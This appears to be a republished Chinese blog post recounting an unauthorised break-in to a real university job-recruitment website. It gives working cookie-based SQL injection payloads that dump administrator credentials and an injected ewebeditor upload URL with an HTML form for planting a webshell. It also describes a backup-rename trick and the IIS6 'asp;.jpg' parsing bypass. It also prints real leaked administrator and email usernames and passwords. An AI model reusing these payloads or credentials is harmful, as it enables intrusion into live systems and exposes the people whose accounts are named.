对某招聘网站的一次友情检查
来源:互联网 发布:玩王者荣耀网络延迟高 编辑:程序博客网 时间:2024/05/01 17:40
比赛归来,机友无意中扫到了一个注入点,貌似和工大有关系,就扔给了我,有报错,没有过滤单引号,不过做了防注入处理
首先尝试了几种流行的绕过防注入的方法
(1)运用URLEncode编码 ,这个我认为是不科学的,因为URLEncode是浏览器解析的,在服务端根本不会产生影响
(2)使用char(),hex()函数,这个函数只能用于常量被过滤的情况,并不能绕过select等关键字的过滤
(3)去掉空格,或者使用tab代替空格,或者使用注释/**/代替空格或者分割关键字,等等。一般情况不会有用(实验证明在mysql下/**/不能分割关键字)
(4)通过like in between 等关键字绕过对 ’=‘ 的注入,一般会生效,但是这种情况下select ,from 等关键字也会被过滤。
(5)用+拆分常量,只适用于常量的绕过
这几种方法都没有成功
之后通过wwwscan的扫描得到了泄漏模板信息的页面,使用的是众泰网站系统,果断下载模板
找到conn\conn.asp文件,其中的防注入代码如下,根据代码,在所有的数据库连接处对所有get,post提交的数据进行过滤,不过却漏掉了cookie
'为了系统的安全,直接在有数据库连接的地方都加上SQL注入的免疫'自定义需要过滤的字串,用 "|" 分隔Fy_In = "'| ; | exec | insert | select | delete | update | count | % |chr(| char(| master | truncate | declare "'----------------------------------Fy_Inf = split(Fy_In,"|")If Request.QueryString()<>"" ThenFor Each Fy_Get In Request.QueryString()For Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.QueryString(Fy_Get)),trim(Fy_Inf(Fy_Xh)))<>0 Then'--------写入数据库----------头-----conn.Execute("insert into wronglog(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")'--------写入数据库----------尾-----End IfNextNextEnd Ifdim sql_injdata,sql_inj,sql_get,sql_dataSQL_injdata = "'" SQL_inj = split(SQL_Injdata,"|") '防止Get方法注入 If Request.QueryString<>"" Then For Each SQL_Get In Request.QueryString For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then Response.Write "<Script Language=javascript>alert('请不要在参数中包含非法字符尝试注入');history.back(-1)</Script>" Response.end end if next Next End If '防止Post方法注入 If Request.Form<>"" Then For Each Sql_Post In Request.Form For SQL_Data=0 To Ubound(SQL_inj) if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then Response.Write "<Script Language=javascript>alert('请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>" Response.end end if next next end if注入点的代码如下,直接使用request来读取参数,是典型的cookie注入。
<%ds="../"%><!--#include file="../conn/conn.asp"--><!--#include file="../inc/sub.asp"--><!--#include file="../inc/safe.asp"--><%ttid=request("typeid")if not IsNumeric(ttid) thenelseset rs=conn.execute("select type from zt_aclass where id="&ttid&"")news_typename=rs("type")set rs=nothingend if%>构造注入语句,直接使用模板的默认表明,与列名发现管理员并未作修改,联合查询得知输出位置为2号位。
javascript:alert(document.cookie="typeid="+escape("1 union select 1,2 from zt_Super"));javascript:alert(document.cookie="typeid="+escape("1 union select 1,2,3,4,5,6,7,8,9 from zt_Super"));
查询管理员用户与密码,concat()函数可以把两个结果合并,在联合查询中很好用。
javascrip:alert(document.cookie="typeid="+escape("1 union select 1,JOB_user,3,4,5,6,7,8,9 from zt_Super"));javascrip:alert(document.cookie="typeid="+escape("1 union select 1,JOB_pass,3,4,5,6,7,8,9 from zt_Super"));javascrip:alert(document.cookie="typeid="+escape("1 union select 1,concat(JOB_user,0x3a,JOB_pass),3,4,5,6,7,8,9 from zt_Super"));
得到管理员用户为:admin
与md5加密的密码,在线破解发现密码很弱为:8762
进入后台,发现功能很弱,只有发布文章与管理用户的功能,其他功能都被管理员删除了,使用了ewebeditor编译器,不过ewebeditor的后台也被删除了。
空空荡荡的后台
开始琢磨对ewebeditor做手脚,看看能不能上传一句话上去,下载了一个ewebeditor发现其运行原理如下
(1)编译页面选择上传文件类型并通过js把上传文件类型传送给服务器
(2)通过上传文件类型读取数据库,取得该类型的AllowExt
(3)判断后缀合法性,并修改文件名
(4)最后验证后缀是否是asp
(5)保存文件,
关键代码如下
Sub InitUpload()sType = UCase(Trim(Request.QueryString("type")))sStyleName = Get_SafeStr(Trim(Request.QueryString("style"))) //这里也加入了防注入的语句- -!sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"oRs.Open sSql, oConn, 0, 1If Not oRs.Eof ThensBaseUrl = oRs("S_BaseUrl")nUploadObject = oRs("S_UploadObject")nAutoDir = oRs("S_AutoDir")sUploadDir = oRs("S_UploadDir")Select Case sBaseUrlCase "0"sContentPath = oRs("S_ContentPath")Case "1"sContentPath = RelativePath2RootPath(sUploadDir)Case "2"sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))End SelectSelect Case sTypeCase "REMOTE"sAllowExt = oRs("S_RemoteExt")nAllowSize = oRs("S_RemoteSize")Case "FILE"sAllowExt = oRs("S_FileExt")nAllowSize = oRs("S_FileSize")Case "MEDIA"sAllowExt = oRs("S_MediaExt")nAllowSize = oRs("S_MediaSize")Case "FLASH"sAllowExt = oRs("S_FlashExt")nAllowSize = oRs("S_FlashSize")Case ElsesAllowExt = oRs("S_ImageExt")nAllowSize = oRs("S_ImageSize")End SelectElseOutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')")End IfoRs.Close' 任何情况下都不允许上传asp脚本文件sAllowExt = Replace(UCase(sAllowExt), "ASP", "")End Sub
又找到了提交文件时使用的url,发现可以利用注入来修改AllowExt的查询结果,从而上传asa后缀的文件(因为asp在任何情况下都无法上传)
http://www.hit-hr.com/editor/upload.asp?action=save&type=image&style=standard构造注入点如下,首先通过不存在的style值使查询结果为空,在通过union select填补并修改我们想要的结果,达到狸猫换太子的目的。
这样我们只需要向这个畸形url post我们的一句话就可以了
upload.asp?action=save&type=IMAGE&style=fox' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileE-xt,S_FlashExt, [S_ImageExt]+'| cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,-S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObje-ct,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name='standard' and 'a'='a大家如果觉得用nc.exe比较麻烦的话,可以写一个html来提交,不过几次尝试均失败了
<HTML><HEAD><TITLE>文件上传</TITLE><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><style type="text/css">body, a, table, div, span, td, th, input, select{font:9pt;font-family: "宋体", Verdana, Arial, Helvetica, sans-serif;}body {padding:0px;margin:0px}</style></head><body bgcolor=menu><form action="/Edit/upload.asp?action=save&type=IMAGE&style=standard' union select 1,2,3,4,S_UploadDir,6,7,8,9,10,11, ([S_ImageExt]%2b'|cer'),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from ewebeditor_style where s_name='standard' and 'a'='a" method=post name=myform enctype="multipart/form-data"><input type=file name=uploadfile size=1 style="width:100%" onChange="originalfile.value=this.value"><input type=hidden name=originalfile value=""><input name="" type="submit" value="提交"></form></body></html>后来发现,在获取style参数时加入了防注入,并过滤了 单引号,这样这条思路又行不通了。
sStyleName = Get_SafeStr(Trim(Request.QueryString("style"))) //这里也加入了防注入的语句- -!
又回到注入点思索,尝试用跨库来修改ewebeditor的AllowExt表,屡次猜测数据库路径未果,放弃之。(看来跨库得有路径支持才好用啊 - -!)
又回到后台,猜想管理员只是删除了管理页面上的链接,并没有删除具体功能实现的页面,尝试之,成功!
根据模板源码找到,数据库备份功能的页面,果断上传一句话并使用数据库备份修改后缀。
使用 菜刀连接之,并上传大马,不过发现大马被内容被杀掉,并替换成“文件被禁止!”,使用了多款过了vriustotal的网马,均被杀。
网站目录之下有读写的权限,命令不能执行,会显示“[Err] ActiveX 部件不能创建对象”,使用上传cmd.exe的方法也不能解决,
可能是管理员删除了某些dll。
搜索了一下IP为北京市息壤傳媒文化有限公司,是一个独立IP的供应商,管路后台如下,拿之前的密码试了几次,都没有成功。
http://diy.mydnschina.com/
既然是虚拟服务器,杀软变态一些也合乎情理了,应该是用来防止
使用者上传危险文件用的。因为有目录的读写权限,做了一些信息收集。
网站标题:哈工大人才网网站URL地址:网站LOGO存放地址:网站版权信息:网站关键词:网站描述:联系人:客服部联系地址:金华市八一北街汇金国际商务大厦28楼电话:13586979758传真:13586979758邮件发送组件:1邮件服务器:mail.has.ac.cn邮箱用户名:xxc@has.ac.cn邮箱密码:111111 (密码已失效)邮件域:has.ac.cn站长名称:站长邮箱:系统安装目录:/管理员目录:Admin管理员帐户http://www.hit-hr.com/admin/admin_login.aspadmin8762http://www.hit-hr.com/xadmin/login.asp肖磊11111王殿明1234邮箱 (/temp/temp.rar 是一个备份文件,其中有几个asp页面,暴露了一个邮箱账户和密码 )sibichuiyin@163.com79866
百度了一下上面两位管理员的名字,竟然是校友,难道这是毕业学长自主创业失败的产物?这个弱口令简直弱的太可爱了。。。罪过罪过,睡觉去鸟。
第二天果然有大神上传了大马,思路是把一个图片的头放到大马之前或者用copy也可以,名字是1234.asp;.jpg这样,这样利用jpg的后缀逃过强大杀软的规则,并通过IIS6.0的解析漏洞
使asp能够执行,虽然上传的大马界面很挫,但是可以忍哈哈~最后在他的目录下找到了 龙盾IIS防火墙 唯一可以防木马上传的防火墙 - -! 泥马
- 对某招聘网站的一次友情检查
- 友情网站
- 对韩国某手表网站的一次偶然安全检测
- 对未上线的企业网站检查
- 对骗子网站的一次安全检测~
- 一次对某韩国网站渗透记
- 一次对在线挂机网站的渗透的例子
- 记一次对在线挂机网站的渗透
- 有用的招聘网站
- 招聘网站的克隆
- 招聘网站的安全隐患
- 关于android中对异常的友情提示做处理。
- 错别字在线检查软件, 拉钩招聘网站出现错别字了
- 招聘:Java开发工程师(友情发帖)
- 对板子的检查
- 一次腾讯招聘的笔试和面试题
- 一次失败的项目经理招聘经验
- 一次失败的项目经理招聘经验
- Hiberanate的拦截器和监听事件
- C++服务器的push推送通知的代码,SSL链接
- 求一个Vb.net 2005导出Excel 的类
- VC调试无法加断点,代码版本不一致的解决方法
- 计算文件的大小
- 对某招聘网站的一次友情检查
- 【词条】C++编译、链接过程
- 一个小题目
- CSS 后代选择器
- [转载]Android 异常和解决方法积累
- Hbase在eclipse中的编译(window环境)
- Reflection
- Form表单属性及其常用的INPUT控件
- Permission denied